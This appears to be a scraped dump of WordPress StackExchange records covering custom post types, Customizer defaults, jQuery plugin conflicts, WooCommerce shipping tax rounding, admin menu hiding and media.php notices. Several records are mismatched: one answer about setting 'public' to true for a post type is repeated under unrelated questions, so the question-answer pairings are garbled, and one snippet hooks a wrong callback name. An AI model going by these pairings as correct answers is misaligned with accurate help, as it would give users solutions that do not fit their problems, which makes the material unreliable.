[ { "answer_id": 268125, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 0, "selected": false, "text": "<p>I am not sure I follow your question entirely (the bit about \"adding\" them to the blog). However from your description I think you are missing distinction between <em>archive</em> templates and <em>singular</em> templates.</p>\n\n<p><code>index.php</code> is catch–all template, it is last fallback for <em>both</em> archives and singular branches of hierarchy.</p>\n\n<p>But before that the logic is different, roughly:</p>\n\n<ul>\n<li><code>archive-blog_post.php</code> > <code>archive.php</code> > <code>index.php</code> for archive</li>\n<li><code>single-blog_post.php</code> > <code>single.php</code> > <code>index.php</code> for singular</li>\n</ul>\n\n<p>So if you are looking at <em>archive</em> of your CPT then any <em>singular</em> templates for it that you have are irrelevant. And other way around.</p>\n\n<p>You would need to create <em>both</em> templates for your CPT if you want to customize <em>both</em> archives and singular entries for it.</p>\n" }, { "answer_id": 268127, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": true, "text": "<p><code>public</code> is <code>false</code> by default, your post type will not be visible on the front end without explicitly setting it to <code>true</code>.</p>\n\n<pre><code>$post_args = array(\n 'public' =&gt; true,\n 'label' =&gt; _('Blog Post'),\n 'description' =&gt; _('Site\\'s blog posts'),\n 'show_ui' =&gt; true,\n 'show_in_nav_menus' =&gt; true,\n 'taxonomies' =&gt; array('blog_posts'),\n 'supports' =&gt; array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'),\n 'capability_type' =&gt; 'post',\n 'rewrite' =&gt; array('slug' =&gt; 'blog', 'has_archive' =&gt; 'blog_posts', 'with_front' =&gt; false)\n);\n</code></pre>\n" } ]
2017/05/26
[ "https://wordpress.stackexchange.com/questions/268173", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/85513/" ]
Is it possible to get a default value that was set in the Customizer setting? Here is an example of the code: ``` // Add setting. $wp_customize->add_setting( 'slug_awesome_title', array( 'default' => esc_html__( 'WordPress', 'slug' ), 'sanitize_callback' => 'sanitize_text_field', ) ); // Add control. $wp_customize->add_control( 'slug_awesome_title', array( 'label' => esc_html__( 'Section Title', 'slug' ), 'section' => 'slug_awesome_section', 'type' => 'text', ) ); ``` If the current control has already a set value, let's say it's "WooCommerce", how can I get a default value which is set to "WordPress" using wp.customize API in JS? I've tried this: ``` wp.customize.instance( 'slug_awesome_title' ).get() ``` but it returns the current value of the control.
`public` is `false` by default, your post type will not be visible on the front end without explicitly setting it to `true`. ``` $post_args = array( 'public' => true, 'label' => _('Blog Post'), 'description' => _('Site\'s blog posts'), 'show_ui' => true, 'show_in_nav_menus' => true, 'taxonomies' => array('blog_posts'), 'supports' => array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'), 'capability_type' => 'post', 'rewrite' => array('slug' => 'blog', 'has_archive' => 'blog_posts', 'with_front' => false) ); ```
268,188
<p>I made a plugin for my webpage. It works as a standalone HTML file fine. But when I use it as wp plugin a jQuery Plugin I need (Bootstrap Slider <a href="https://github.com/seiyria/bootstrap-slider" rel="nofollow noreferrer">https://github.com/seiyria/bootstrap-slider</a>) throws this error above.</p> <p>I included jquery and this boostrap-slider plugin like that:</p> <pre><code>wp_enqueue_script( 'child_jquery','cdn URl'); wp_enqueue_script('bootstrap-slider', 'CDN Url'); </code></pre> <p>And call the plugin in my code so:</p> <pre><code>jQuery("#m1,#m2,#m3,#m4,#m5,#m6,#m7,#m8,#m9,#m10,#m11,#m12").slider({ reversed : true, tooltip: 'show' }); </code></pre> <p>This call is within a document ready function:</p> <pre><code>jQuery(document).ready(function(){ </code></pre> <p>My suspicion, after the plugin is loaded a further jquery is enqued. So in the source code I have (simplified):</p> <pre><code>jquery.js bootstrap-slider.js jquery.js (an old one from wp) </code></pre> <p>I tried to deregister it and right after that enqueue it again. But if I do that the plugin still doesn't work and another plugin throws this error.</p> <p>Any ideas?</p> <p>Thanks in advance</p>
[ { "answer_id": 268125, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 0, "selected": false, "text": "<p>I am not sure I follow your question entirely (the bit about \"adding\" them to the blog). However from your description I think you are missing distinction between <em>archive</em> templates and <em>singular</em> templates.</p>\n\n<p><code>index.php</code> is catch–all template, it is last fallback for <em>both</em> archives and singular branches of hierarchy.</p>\n\n<p>But before that the logic is different, roughly:</p>\n\n<ul>\n<li><code>archive-blog_post.php</code> > <code>archive.php</code> > <code>index.php</code> for archive</li>\n<li><code>single-blog_post.php</code> > <code>single.php</code> > <code>index.php</code> for singular</li>\n</ul>\n\n<p>So if you are looking at <em>archive</em> of your CPT then any <em>singular</em> templates for it that you have are irrelevant. And other way around.</p>\n\n<p>You would need to create <em>both</em> templates for your CPT if you want to customize <em>both</em> archives and singular entries for it.</p>\n" }, { "answer_id": 268127, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": true, "text": "<p><code>public</code> is <code>false</code> by default, your post type will not be visible on the front end without explicitly setting it to <code>true</code>.</p>\n\n<pre><code>$post_args = array(\n 'public' =&gt; true,\n 'label' =&gt; _('Blog Post'),\n 'description' =&gt; _('Site\\'s blog posts'),\n 'show_ui' =&gt; true,\n 'show_in_nav_menus' =&gt; true,\n 'taxonomies' =&gt; array('blog_posts'),\n 'supports' =&gt; array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'),\n 'capability_type' =&gt; 'post',\n 'rewrite' =&gt; array('slug' =&gt; 'blog', 'has_archive' =&gt; 'blog_posts', 'with_front' =&gt; false)\n);\n</code></pre>\n" } ]
2017/05/26
[ "https://wordpress.stackexchange.com/questions/268188", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120491/" ]
I made a plugin for my webpage. It works as a standalone HTML file fine. But when I use it as wp plugin a jQuery Plugin I need (Bootstrap Slider <https://github.com/seiyria/bootstrap-slider>) throws this error above. I included jquery and this boostrap-slider plugin like that: ``` wp_enqueue_script( 'child_jquery','cdn URl'); wp_enqueue_script('bootstrap-slider', 'CDN Url'); ``` And call the plugin in my code so: ``` jQuery("#m1,#m2,#m3,#m4,#m5,#m6,#m7,#m8,#m9,#m10,#m11,#m12").slider({ reversed : true, tooltip: 'show' }); ``` This call is within a document ready function: ``` jQuery(document).ready(function(){ ``` My suspicion, after the plugin is loaded a further jquery is enqued. So in the source code I have (simplified): ``` jquery.js bootstrap-slider.js jquery.js (an old one from wp) ``` I tried to deregister it and right after that enqueue it again. But if I do that the plugin still doesn't work and another plugin throws this error. Any ideas? Thanks in advance
`public` is `false` by default, your post type will not be visible on the front end without explicitly setting it to `true`. ``` $post_args = array( 'public' => true, 'label' => _('Blog Post'), 'description' => _('Site\'s blog posts'), 'show_ui' => true, 'show_in_nav_menus' => true, 'taxonomies' => array('blog_posts'), 'supports' => array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'), 'capability_type' => 'post', 'rewrite' => array('slug' => 'blog', 'has_archive' => 'blog_posts', 'with_front' => false) ); ```
268,246
<p>I have an issue with the shipping tax calculation. I add the shipping cost without tax, and everything is calculated OK in the cart/checkout page. Also, in back office, the order is displayed correctly (cost/taxes are calculated OK). </p> <p>The problem happens when you <strong>change the order status to Complete</strong> and the invoice is sent by email - <strong>it will automatically change the shipping cost and the total cost - it adds 0.01</strong> (<em>Note: if you manually generate the invoice before changing the order status to Complete, the invoice is generated OK - taxes/costs are OK in both invoice and back office).</em></p> <p>Below are some screenshots with the current settings and the results: <a href="https://i.stack.imgur.com/gfMSu.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gfMSu.png" alt="General Options"></a><a href="https://i.stack.imgur.com/uvuqN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uvuqN.png" alt="Tax Options"></a> <a href="https://i.stack.imgur.com/ia6QA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ia6QA.png" alt="Standard Rates"></a><a href="https://i.stack.imgur.com/9LdbZ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9LdbZ.png" alt="Shipping Flat Rate"></a><a href="https://i.stack.imgur.com/2tW8j.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2tW8j.png" alt="Cart taxes/costs are calculated correctly"></a> <a href="https://i.stack.imgur.com/vMD3z.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vMD3z.png" alt="Back office taxes/costs are calculated correctly"></a></p> <p>Now, when you change the order status to Complete, it will send the invoice by email and will change the taxes/costs:<a href="https://i.stack.imgur.com/iy2G1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iy2G1.png" alt="Order Complete - incorrect taxes/costs"></a></p> <p>And this is how the amounts are displayed in the invoice:<a href="https://i.stack.imgur.com/lpfna.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lpfna.png" alt="Invoice - incorrect taxes/costs"></a></p> <p>The shipping cost is 15 with tax included, so I have to configure it to 12.6050 (without tax) in order be calculated correctly: 15 lei.</p> <p>I think the issue is related with the number of decimals used - WooCommerce is set to 2 decimals. If I change the WooCommerce setting to use 4 decimals, it is OK, but the amounts look awful and are very confusing for customers.</p> <blockquote> <p>From accounting perspective, the shipping cost without tax should be 12.61 lei, and the shipping tax should be 2.39 lei (total shipping cost with tax included = 15 lei)</p> </blockquote> <p>Using WooCommerce 3.0.5 and <a href="https://wordpress.org/plugins/woocommerce-pdf-invoices-packing-slips/" rel="nofollow noreferrer">WooCommerce PDF Invoices &amp; Packing Slips</a> (tried with other invoicing plugins, and the issue is the same).</p> <p>Do you have any ideas what should I do to use 2 decimals and keep the shipping cost to 15 lei (tax included)?</p> <p>Thank you for your help.</p>
[ { "answer_id": 268125, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 0, "selected": false, "text": "<p>I am not sure I follow your question entirely (the bit about \"adding\" them to the blog). However from your description I think you are missing distinction between <em>archive</em> templates and <em>singular</em> templates.</p>\n\n<p><code>index.php</code> is catch–all template, it is last fallback for <em>both</em> archives and singular branches of hierarchy.</p>\n\n<p>But before that the logic is different, roughly:</p>\n\n<ul>\n<li><code>archive-blog_post.php</code> > <code>archive.php</code> > <code>index.php</code> for archive</li>\n<li><code>single-blog_post.php</code> > <code>single.php</code> > <code>index.php</code> for singular</li>\n</ul>\n\n<p>So if you are looking at <em>archive</em> of your CPT then any <em>singular</em> templates for it that you have are irrelevant. And other way around.</p>\n\n<p>You would need to create <em>both</em> templates for your CPT if you want to customize <em>both</em> archives and singular entries for it.</p>\n" }, { "answer_id": 268127, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": true, "text": "<p><code>public</code> is <code>false</code> by default, your post type will not be visible on the front end without explicitly setting it to <code>true</code>.</p>\n\n<pre><code>$post_args = array(\n 'public' =&gt; true,\n 'label' =&gt; _('Blog Post'),\n 'description' =&gt; _('Site\\'s blog posts'),\n 'show_ui' =&gt; true,\n 'show_in_nav_menus' =&gt; true,\n 'taxonomies' =&gt; array('blog_posts'),\n 'supports' =&gt; array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'),\n 'capability_type' =&gt; 'post',\n 'rewrite' =&gt; array('slug' =&gt; 'blog', 'has_archive' =&gt; 'blog_posts', 'with_front' =&gt; false)\n);\n</code></pre>\n" } ]
2017/05/26
[ "https://wordpress.stackexchange.com/questions/268246", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/58102/" ]
I have an issue with the shipping tax calculation. I add the shipping cost without tax, and everything is calculated OK in the cart/checkout page. Also, in back office, the order is displayed correctly (cost/taxes are calculated OK). The problem happens when you **change the order status to Complete** and the invoice is sent by email - **it will automatically change the shipping cost and the total cost - it adds 0.01** (*Note: if you manually generate the invoice before changing the order status to Complete, the invoice is generated OK - taxes/costs are OK in both invoice and back office).* Below are some screenshots with the current settings and the results: [![General Options](https://i.stack.imgur.com/gfMSu.png)](https://i.stack.imgur.com/gfMSu.png)[![Tax Options](https://i.stack.imgur.com/uvuqN.png)](https://i.stack.imgur.com/uvuqN.png) [![Standard Rates](https://i.stack.imgur.com/ia6QA.png)](https://i.stack.imgur.com/ia6QA.png)[![Shipping Flat Rate](https://i.stack.imgur.com/9LdbZ.png)](https://i.stack.imgur.com/9LdbZ.png)[![Cart taxes/costs are calculated correctly](https://i.stack.imgur.com/2tW8j.png)](https://i.stack.imgur.com/2tW8j.png) [![Back office taxes/costs are calculated correctly](https://i.stack.imgur.com/vMD3z.png)](https://i.stack.imgur.com/vMD3z.png) Now, when you change the order status to Complete, it will send the invoice by email and will change the taxes/costs:[![Order Complete - incorrect taxes/costs](https://i.stack.imgur.com/iy2G1.png)](https://i.stack.imgur.com/iy2G1.png) And this is how the amounts are displayed in the invoice:[![Invoice - incorrect taxes/costs](https://i.stack.imgur.com/lpfna.png)](https://i.stack.imgur.com/lpfna.png) The shipping cost is 15 with tax included, so I have to configure it to 12.6050 (without tax) in order be calculated correctly: 15 lei. I think the issue is related with the number of decimals used - WooCommerce is set to 2 decimals. If I change the WooCommerce setting to use 4 decimals, it is OK, but the amounts look awful and are very confusing for customers. > > From accounting perspective, the shipping cost without tax should be > 12.61 lei, and the shipping tax should be 2.39 lei (total shipping cost with tax included = 15 lei) > > > Using WooCommerce 3.0.5 and [WooCommerce PDF Invoices & Packing Slips](https://wordpress.org/plugins/woocommerce-pdf-invoices-packing-slips/) (tried with other invoicing plugins, and the issue is the same). Do you have any ideas what should I do to use 2 decimals and keep the shipping cost to 15 lei (tax included)? Thank you for your help.
`public` is `false` by default, your post type will not be visible on the front end without explicitly setting it to `true`. ``` $post_args = array( 'public' => true, 'label' => _('Blog Post'), 'description' => _('Site\'s blog posts'), 'show_ui' => true, 'show_in_nav_menus' => true, 'taxonomies' => array('blog_posts'), 'supports' => array('title', 'editor', 'comments', 'trackbacks', 'thumbnail'), 'capability_type' => 'post', 'rewrite' => array('slug' => 'blog', 'has_archive' => 'blog_posts', 'with_front' => false) ); ```
268,266
<p>I installed the flatsome theme and it created a menu in the admin panel. I wanted to hide it because it is redundant to Appearance menu that is already in the dashboard. How will I possibly hide the menu item on the sidebar and on the top bar?</p> <p><a href="https://i.stack.imgur.com/oUPDk.png" rel="nofollow noreferrer">Here</a> is an screenshot.</p>
[ { "answer_id": 268278, "author": "Mehedi_Sharif", "author_id": 107089, "author_profile": "https://wordpress.stackexchange.com/users/107089", "pm_score": 0, "selected": false, "text": "<p>You should ask support from flatsome .They have a active facebook group <a href=\"https://www.facebook.com/groups/flatsome/\" rel=\"nofollow noreferrer\">https://www.facebook.com/groups/flatsome/</a> . You should ask your question there.</p>\n" }, { "answer_id": 268284, "author": "Roshan Deshapriya", "author_id": 97402, "author_profile": "https://wordpress.stackexchange.com/users/97402", "pm_score": 1, "selected": false, "text": "<ol>\n<li>As a temporary solution, add below script to the function.php file </li>\n</ol>\n\n<pre>\nwp_enqueue_style( 'flatsome-hide', get_stylesheet_directory_uri() . '/css/flatsome.css', array('flatsome'), '1.0' );\n</pre>\n\n<p>Crete a CSS file called \"flatsome\" inside your CSS directory, or whatever you prefer, make sure you update the name and the path on function.php.\nThen inspect the menu class and hide it using display: none</p>\n\n<ol start=\"2\">\n<li>The second method, use a filter in fuction.php</li>\n</ol>\n\n<pre>\n\nfunction custom_menu_page_removing() {\n remove_menu_page( $menu_slug );\n}\nadd_action( 'admin_menu', 'your-MENU' );\n\n</pre>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/remove_menu_page\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/remove_menu_page</a></p>\n" } ]
2017/05/26
[ "https://wordpress.stackexchange.com/questions/268266", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120545/" ]
I installed the flatsome theme and it created a menu in the admin panel. I wanted to hide it because it is redundant to Appearance menu that is already in the dashboard. How will I possibly hide the menu item on the sidebar and on the top bar? [Here](https://i.stack.imgur.com/oUPDk.png) is an screenshot.
1. As a temporary solution, add below script to the function.php file ``` wp_enqueue_style( 'flatsome-hide', get_stylesheet_directory_uri() . '/css/flatsome.css', array('flatsome'), '1.0' ); ``` Crete a CSS file called "flatsome" inside your CSS directory, or whatever you prefer, make sure you update the name and the path on function.php. Then inspect the menu class and hide it using display: none 2. The second method, use a filter in fuction.php ``` function custom_menu_page_removing() { remove_menu_page( $menu_slug ); } add_action( 'admin_menu', 'your-MENU' ); ``` <https://codex.wordpress.org/Function_Reference/remove_menu_page>
268,268
<p>I'm working on a travel site where there are three parameters: destinations, activities and packages.</p> <p>Destinations mean the country to travel like: United States, Singapore, Switzerland etc.</p> <p>Activities are the activities that can be performed inside that country like: hiking, rafting, tour, climbing.</p> <p>And, package include actual package inside that activities like: hiking in Switzerland, Rafting in Nepal etc.</p> <p>So, destination may contain number of activities and activities may contain number of packages</p> <p>I thought of two ways: one creating three post type: destinations, activities and packages and maintaining relationship among them.</p> <p>Another way is: creating two taxonomies: destinations and activities for single post type package. And maintaining relationship among them.</p> <p>Which way is better? Is it possible to maintain relationship as my requirement in WordPress? If yes, it'll be nice if someone can give me some clue. Or there is any other solution.</p>
[ { "answer_id": 268275, "author": "Carl Elder", "author_id": 120223, "author_profile": "https://wordpress.stackexchange.com/users/120223", "pm_score": 1, "selected": false, "text": "<p>Personally, I think it would be easier to manage Packages as the parent taxonomy and Destination / Activities as its children. Wholly depends on how you believe your users will approach your content and how you intend to upload it and display it though. </p>\n\n<p>If, for instance, you were to create a number of posts for each of your packages, then child posts for each of the destinations and activities - you can easily achieve what you want by assigning the parent posts a \"Package\" category, then adding \"Destination\" and \"Activity\" as child categories and assigning them to their respective posts.</p>\n\n<p>This can be done right from the Post Edit screen or the Category tool in the dashboard.</p>\n\n<p>Of course, if you need unique templates these packages (or whatever you decide to use as the parent thing), then I would suggest a custom post type for the parent type, and use either categories or tags for the children. </p>\n\n<p>This would simplify your registering and querying a bit so that instead of registering 3 unique post types, you just have to register one. And when querying post type \"Packages\" (or whatever), you can easily specify which category of that post type to pull.</p>\n\n<p>Here's an example:</p>\n\n<pre><code>$args = array(\n 'post_type' =&gt; 'packages',\n 'category_name' =&gt; 'activities'\n);\n$query = new WP_Query( $args );\n</code></pre>\n\n<p>Follow that up with a loop, or specify a single posting that meets the needs of your template, add in some more arguments for good measure if you feel the need, and you're good to go.</p>\n\n<p><a href=\"https://codex.wordpress.org/Class_Reference/WP_Query\" rel=\"nofollow noreferrer\">Here's a query reference.</a></p>\n" }, { "answer_id": 268285, "author": "Roshan Deshapriya", "author_id": 97402, "author_profile": "https://wordpress.stackexchange.com/users/97402", "pm_score": 1, "selected": false, "text": "<p>Create 1 post type (packages)and 3 taxonomies under it, each can have whatever categories you want later you can use for hook for filter as per their \"destination, activities or whatever\".</p>\n\n<p>Let me know if you need assistance creating those.</p>\n" }, { "answer_id": 268320, "author": "Roshan Deshapriya", "author_id": 97402, "author_profile": "https://wordpress.stackexchange.com/users/97402", "pm_score": 2, "selected": false, "text": "<p>@asis, use below on function.php to add the CPT \"travel\" and tamx.. under it.</p>\n\n<pre>\n\nfunction travel() \n{\n $labels = array(\n 'name' => _x('travel', 'post type general name'),\n 'singular_name' => _x('Project', 'post type singular name'),\n 'add_new' => _x('Add New project', 'Project'),\n 'add_new_item' => __('Add New Project'),\n 'edit_item' => __('Edit Project'),\n 'new_item' => __('New Project'),\n 'all_items' => __('All travel'),\n 'view_item' => __('View Project'),\n 'search_items' => __('Search travel'),\n 'not_found' => __('No travel found'),\n 'not_found_in_trash' => __('No travel found in Trash'), \n 'parent_item_colon' => '',\n 'menu_name' => __('travel')\n );\n $args = array(\n 'labels' => $labels,\n 'public' => true,\n 'publicly_queryable' => true,\n 'show_ui' => true, \n 'show_in_menu' => true, \n 'query_var' => true,\n 'rewrite' => true,\n 'capability_type' => 'post',\n 'has_archive' => true, \n 'hierarchical' => false,\n 'menu_position' => 6, \n 'menu_icon' => '', \n 'supports' => array( 'title', 'editor', 'thumbnail','comments')\n\n ); \n register_post_type('travel',$args);\n}\nadd_action( 'init', 'travel' );\nfunction travel_taxonomies() \n{\n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => _x( 'destinations', 'taxonomy general name' ),\n 'singular_name' => _x( 'destinations', 'taxonomy singular name' ),\n 'search_items' => __( 'Search destinations' ),\n 'all_items' => __( 'All destinations' ),\n 'parent_item' => __( 'Parent destinations' ),\n 'parent_item_colon' => __( 'Parent destinations:' ),\n 'edit_item' => __( 'Edit destinations' ),\n 'update_item' => __( 'Update destinations' ),\n 'add_new_item' => __( 'Add New destination' ),\n 'new_item_name' => __( 'New destination Name' ),\n 'menu_name' => __( 'Destinations' ),\n );\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'destinations' ),\n );\n register_taxonomy( 'destinations', array('travel' ), $args );\n // 2nd taxo.. runs here \n $labels = array(\n 'name' => _x( 'activities', 'taxonomy general name' ),\n 'singular_name' => _x( 'activities', 'taxonomy singular name' ),\n 'search_items' => __( 'Search activities' ),\n 'all_items' => __( 'All activities' ),\n 'parent_item' => __( 'Parent activities' ),\n 'parent_item_colon' => __( 'Parent activities:' ),\n 'edit_item' => __( 'Edit activities' ),\n 'update_item' => __( 'Update activities' ),\n 'add_new_item' => __( 'Add New activity' ),\n 'new_item_name' => __( 'New activity Name' ),\n 'menu_name' => __( 'Activities' ),\n );\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'activities' ),\n );\n register_taxonomy( 'activities', array('travel' ), $args ); \n // 3rd taxo.. runs here\n $labels = array(\n 'name' => _x( 'packages', 'taxonomy general name' ),\n 'singular_name' => _x( 'packages', 'taxonomy singular name' ),\n 'search_items' => __( 'Search packages' ),\n 'all_items' => __( 'All packages' ),\n 'parent_item' => __( 'Parent packages' ),\n 'parent_item_colon' => __( 'Parent packages:' ),\n 'edit_item' => __( 'Edit packages' ),\n 'update_item' => __( 'Update packages' ),\n 'add_new_item' => __( 'Add New package' ),\n 'new_item_name' => __( 'New package Name' ),\n 'menu_name' => __( 'Packages' ),\n );\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'packages' ),\n );\n register_taxonomy( 'packages', array('travel' ), $args );\n\n\n\n}\n// hook \nadd_action( 'init', 'travel_taxonomies', 0 );\n</pre>\n" } ]
2017/05/27
[ "https://wordpress.stackexchange.com/questions/268268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/75767/" ]
I'm working on a travel site where there are three parameters: destinations, activities and packages. Destinations mean the country to travel like: United States, Singapore, Switzerland etc. Activities are the activities that can be performed inside that country like: hiking, rafting, tour, climbing. And, package include actual package inside that activities like: hiking in Switzerland, Rafting in Nepal etc. So, destination may contain number of activities and activities may contain number of packages I thought of two ways: one creating three post type: destinations, activities and packages and maintaining relationship among them. Another way is: creating two taxonomies: destinations and activities for single post type package. And maintaining relationship among them. Which way is better? Is it possible to maintain relationship as my requirement in WordPress? If yes, it'll be nice if someone can give me some clue. Or there is any other solution.
@asis, use below on function.php to add the CPT "travel" and tamx.. under it. ``` function travel() { $labels = array( 'name' => _x('travel', 'post type general name'), 'singular_name' => _x('Project', 'post type singular name'), 'add_new' => _x('Add New project', 'Project'), 'add_new_item' => __('Add New Project'), 'edit_item' => __('Edit Project'), 'new_item' => __('New Project'), 'all_items' => __('All travel'), 'view_item' => __('View Project'), 'search_items' => __('Search travel'), 'not_found' => __('No travel found'), 'not_found_in_trash' => __('No travel found in Trash'), 'parent_item_colon' => '', 'menu_name' => __('travel') ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'rewrite' => true, 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' => false, 'menu_position' => 6, 'menu_icon' => '', 'supports' => array( 'title', 'editor', 'thumbnail','comments') ); register_post_type('travel',$args); } add_action( 'init', 'travel' ); function travel_taxonomies() { // Add new taxonomy, make it hierarchical (like categories) $labels = array( 'name' => _x( 'destinations', 'taxonomy general name' ), 'singular_name' => _x( 'destinations', 'taxonomy singular name' ), 'search_items' => __( 'Search destinations' ), 'all_items' => __( 'All destinations' ), 'parent_item' => __( 'Parent destinations' ), 'parent_item_colon' => __( 'Parent destinations:' ), 'edit_item' => __( 'Edit destinations' ), 'update_item' => __( 'Update destinations' ), 'add_new_item' => __( 'Add New destination' ), 'new_item_name' => __( 'New destination Name' ), 'menu_name' => __( 'Destinations' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'destinations' ), ); register_taxonomy( 'destinations', array('travel' ), $args ); // 2nd taxo.. runs here $labels = array( 'name' => _x( 'activities', 'taxonomy general name' ), 'singular_name' => _x( 'activities', 'taxonomy singular name' ), 'search_items' => __( 'Search activities' ), 'all_items' => __( 'All activities' ), 'parent_item' => __( 'Parent activities' ), 'parent_item_colon' => __( 'Parent activities:' ), 'edit_item' => __( 'Edit activities' ), 'update_item' => __( 'Update activities' ), 'add_new_item' => __( 'Add New activity' ), 'new_item_name' => __( 'New activity Name' ), 'menu_name' => __( 'Activities' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'activities' ), ); register_taxonomy( 'activities', array('travel' ), $args ); // 3rd taxo.. runs here $labels = array( 'name' => _x( 'packages', 'taxonomy general name' ), 'singular_name' => _x( 'packages', 'taxonomy singular name' ), 'search_items' => __( 'Search packages' ), 'all_items' => __( 'All packages' ), 'parent_item' => __( 'Parent packages' ), 'parent_item_colon' => __( 'Parent packages:' ), 'edit_item' => __( 'Edit packages' ), 'update_item' => __( 'Update packages' ), 'add_new_item' => __( 'Add New package' ), 'new_item_name' => __( 'New package Name' ), 'menu_name' => __( 'Packages' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'packages' ), ); register_taxonomy( 'packages', array('travel' ), $args ); } // hook add_action( 'init', 'travel_taxonomies', 0 ); ```
268,269
<p>I always see these on my dashboard </p> <blockquote> <p>Notice: Undefined index: full in /home2/guyfancy/public_html/cafe4apps.net/wp-includes/media.php on line 215</p> <p>Notice: Undefined index: full in /home2/guyfancy/public_html/cafe4apps.net/wp-includes/media.php on line 216</p> <p>Notice: Undefined index: full in /home2/guyfancy/public_html/cafe4apps.net/wp-includes/media.php on line 217</p> <p>Notice: Undefined index: full in /home2/guyfancy/public_html/cafe4apps.net/wp-includes/media.php on And recently it started showing up in front end as well</p> </blockquote>
[ { "answer_id": 268270, "author": "Eric B.", "author_id": 118176, "author_profile": "https://wordpress.stackexchange.com/users/118176", "pm_score": 0, "selected": false, "text": "<p>There really wasn't a question in there so I'm not sure which route you're trying to go so here's a little troubleshooting for you...</p>\n\n<p>First, before we look at resolutions, <strong>it is never a good idea to leave debug on a production server.</strong> You shouldn't be seeing those error messages because they're not mission critical and wouldn't stop the display of your site.</p>\n\n<ol>\n<li><p>If you're not running the most recent versions of WordPress and your plugins/themes, make a site backup and then update those. </p></li>\n<li><p>If that doesn't work, my guess would be a theme is causing the issue. (Because it's the wp-includes/media.php file throwing the error, not a plugin) The easiest way to figure out if it is your theme is to activate another one.</p></li>\n<li><p>Finally, if you haven't gotten to the bottom of it by now, try moving all the plugin folders into a folder called .inactive (or something like that), visit your home page and see if it fixed it. If so, that is the problem. Start adding plugins back in until the error reappears, that will be the culprit. You can then move all the other plugins back in. </p></li>\n</ol>\n\n<p>Once you're done troubleshooting, please make sure you change the 'true' in <code>define('WP_DEBUG', true)</code> to 'false'.</p>\n" }, { "answer_id": 277780, "author": "Sean Morrison", "author_id": 126385, "author_profile": "https://wordpress.stackexchange.com/users/126385", "pm_score": 1, "selected": false, "text": "<p>For anyone else who stumbles on this problem I've found a possible cause.</p>\n\n<p>When you're running wp_get_attachment_image_src($imageid,'full') in your code if the $imageid you're checking doesn't have a 'full' size available you will see this error.</p>\n\n<p>As suggested above this particular problem could be caused by a plugin not checking for the existance of an image size before requesting it. If you wanted something more specific you could run a search for wp_get_attachment_image_src in your plugins and theme to see if anything is trying to get the 'full' image without checking for it's existance yet. </p>\n\n<p>In my case it was custom code so I wrote this to get around it</p>\n\n<pre><code>$meta = wp_get_attachment_metadata($imageid); \nif( array_key_exists(\"full\", $meta[\"sizes\"]) ) {\n $imagepath = wp_get_attachment_image_src($imageid,'full')\n} else {\n // Fallback to the original file name\n if( array_key_exists(\"file\", $meta) )\n $imagepath = 'wp-content/uploads/' . $meta[\"file\"];\n}\n</code></pre>\n" }, { "answer_id": 294565, "author": "Radley Sustaire", "author_id": 19105, "author_profile": "https://wordpress.stackexchange.com/users/19105", "pm_score": 0, "selected": false, "text": "<p>I was getting this error when I learned I was supplying an image URL instead of the image ID. A stupid mistake on my end but it was not obvious.</p>\n\n<p>Check to make sure you are passing a valid image ID to wp_get_attachment_image_src. There was no sign of error, but the URL it was returning was actually just the base upload directory and it threw the warning that was described above.</p>\n\n<p>Of course if it isn't your code, it's a plugin or theme. </p>\n" } ]
2017/05/27
[ "https://wordpress.stackexchange.com/questions/268269", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/94354/" ]
